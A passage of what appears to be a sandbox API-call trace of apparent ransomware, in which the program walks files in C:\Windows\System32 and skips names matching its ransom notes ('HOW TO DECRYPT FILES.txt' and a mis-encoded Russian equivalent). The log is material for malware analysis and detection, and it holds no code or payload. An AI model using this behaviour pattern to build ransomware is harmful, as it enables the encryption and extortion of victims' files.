lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.519] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10004.NLS") returned 1 [0144.519] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10004.NLS") returned 1 [0144.519] lstrcmpiA (lpString1="", lpString2="C_10004.NLS") returned -1 [0144.519] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10003.NLS") returned="C_10003.NLS" [0144.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.519] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.519] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace2ece8, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace2ece8, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d77dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10005.NLS", cAlternateFileName="")) returned 1 [0144.519] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.519] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10005.NLS") returned 1 [0144.519] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10005.NLS") returned 1 [0144.519] lstrcmpiA (lpString1="", lpString2="C_10005.NLS") returned -1 [0144.519] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10004.NLS") returned="C_10004.NLS" [0144.519] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.519] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace54e47, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace54e47, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10006.NLS", cAlternateFileName="")) returned 1 [0144.520] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.520] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10006.NLS") returned 1 [0144.520] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10006.NLS") returned 1 [0144.520] lstrcmpiA (lpString1="", lpString2="C_10006.NLS") returned -1 [0144.520] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10005.NLS") returned="C_10005.NLS" [0144.520] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.520] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace7afa6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace7afa6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10007.NLS", cAlternateFileName="")) returned 1 [0144.520] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.520] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10007.NLS") returned 1 [0144.520] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10007.NLS") returned 1 [0144.520] lstrcmpiA (lpString1="", lpString2="C_10007.NLS") returned -1 [0144.520] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10006.NLS") returned="C_10006.NLS" [0144.520] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.520] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.521] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace7afa6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace7afa6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2a622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10008.NLS", cAlternateFileName="")) returned 1 [0144.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.521] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10008.NLS") returned 1 [0144.521] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10008.NLS") returned 1 [0144.521] lstrcmpiA (lpString1="", lpString2="C_10008.NLS") returned -1 [0144.521] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10007.NLS") returned="C_10007.NLS" [0144.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.521] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.521] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacec7264, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacec7264, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10010.NLS", cAlternateFileName="")) returned 1 [0144.521] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.521] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10010.NLS") returned 1 [0144.521] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10010.NLS") returned 1 [0144.521] lstrcmpiA (lpString1="", lpString2="C_10010.NLS") returned -1 [0144.522] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10008.NLS") returned="C_10008.NLS" [0144.522] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.522] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.522] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaceed3c3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaceed3c3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10017.NLS", cAlternateFileName="")) returned 1 [0144.522] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.522] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10017.NLS") returned 1 [0144.522] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10017.NLS") returned 1 [0144.522] lstrcmpiA (lpString1="", lpString2="C_10017.NLS") returned -1 [0144.522] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10010.NLS") returned="C_10010.NLS" [0144.522] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.522] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.523] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacf13522, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacf13522, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d9df1c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10021.NLS", cAlternateFileName="")) returned 1 [0144.523] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.523] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10021.NLS") returned 1 [0144.523] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10021.NLS") returned 1 [0144.523] lstrcmpiA (lpString1="", lpString2="C_10021.NLS") returned -1 [0144.523] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10017.NLS") returned="C_10017.NLS" [0144.523] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.523] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.523] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacf39681, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacf39681, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29dc407c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10029.NLS", cAlternateFileName="")) returned 1 [0144.523] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.523] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10029.NLS") returned 1 [0144.524] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10029.NLS") returned 1 [0144.524] lstrcmpiA (lpString1="", lpString2="C_10029.NLS") returned -1 [0144.524] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10021.NLS") returned="C_10021.NLS" [0144.524] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.524] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.524] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacf39681, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacf39681, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29dc407c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10079.NLS", cAlternateFileName="")) returned 1 [0144.524] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.524] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10079.NLS") returned 1 [0144.524] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10079.NLS") returned 1 [0144.524] lstrcmpiA (lpString1="", lpString2="C_10079.NLS") returned -1 [0144.524] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10029.NLS") returned="C_10029.NLS" [0144.524] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.524] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.525] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacf5f7e0, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacf5f7e0, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29dc407c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10081.NLS", cAlternateFileName="")) returned 1 [0144.525] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10081.NLS") returned 1 [0144.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10081.NLS") returned 1 [0144.525] lstrcmpiA (lpString1="", lpString2="C_10081.NLS") returned -1 [0144.525] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10079.NLS") returned="C_10079.NLS" [0144.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.525] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.525] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacf5f7e0, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacf5f7e0, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29dc407c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10082.NLS", cAlternateFileName="")) returned 1 [0144.525] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10082.NLS") returned 1 [0144.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10082.NLS") returned 1 [0144.525] lstrcmpiA (lpString1="", lpString2="C_10082.NLS") returned -1 [0144.525] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10081.NLS") returned="C_10081.NLS" [0144.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.526] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5da020, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac5da020, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x284c597c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1026.NLS", cAlternateFileName="")) returned 1 [0144.526] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1026.NLS") returned 1 [0144.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1026.NLS") returned 1 [0144.526] lstrcmpiA (lpString1="", lpString2="C_1026.NLS") returned -1 [0144.526] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10082.NLS") returned="C_10082.NLS" [0144.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.526] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac64c43d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac64c43d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1047.NLS", cAlternateFileName="")) returned 1 [0144.526] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1047.NLS") returned 1 [0144.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1047.NLS") returned 1 [0144.527] lstrcmpiA (lpString1="", lpString2="C_1047.NLS") returned -1 [0144.527] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1026.NLS") returned="C_1026.NLS" [0144.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.527] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.527] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac64c43d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac64c43d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1140.NLS", cAlternateFileName="")) returned 1 [0144.527] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1140.NLS") returned 1 [0144.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1140.NLS") returned 1 [0144.527] lstrcmpiA (lpString1="", lpString2="C_1140.NLS") returned -1 [0144.527] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1047.NLS") returned="C_1047.NLS" [0144.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.527] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac67259c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac67259c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1141.NLS", cAlternateFileName="")) returned 1 [0144.528] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1141.NLS") returned 1 [0144.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1141.NLS") returned 1 [0144.528] lstrcmpiA (lpString1="", lpString2="C_1141.NLS") returned -1 [0144.528] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1140.NLS") returned="C_1140.NLS" [0144.528] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.528] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.528] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac67259c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac67259c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1142.NLS", cAlternateFileName="")) returned 1 [0144.528] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.528] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1142.NLS") returned 1 [0144.528] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1142.NLS") returned 1 [0144.528] lstrcmpiA (lpString1="", lpString2="C_1142.NLS") returned -1 [0144.528] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1141.NLS") returned="C_1141.NLS" [0144.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.529] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.529] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6986fb, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac6986fb, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1143.NLS", cAlternateFileName="")) returned 1 [0144.529] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.529] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1143.NLS") returned 1 [0144.529] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1143.NLS") returned 1 [0144.529] lstrcmpiA (lpString1="", lpString2="C_1143.NLS") returned -1 [0144.529] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1142.NLS") returned="C_1142.NLS" [0144.529] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.529] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.529] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6986fb, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac6986fb, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2896241c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1144.NLS", cAlternateFileName="")) returned 1 [0144.529] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.530] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1144.NLS") returned 1 [0144.530] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1144.NLS") returned 1 [0144.530] lstrcmpiA (lpString1="", lpString2="C_1144.NLS") returned -1 [0144.530] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1143.NLS") returned="C_1143.NLS" [0144.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.530] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.530] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6be85a, 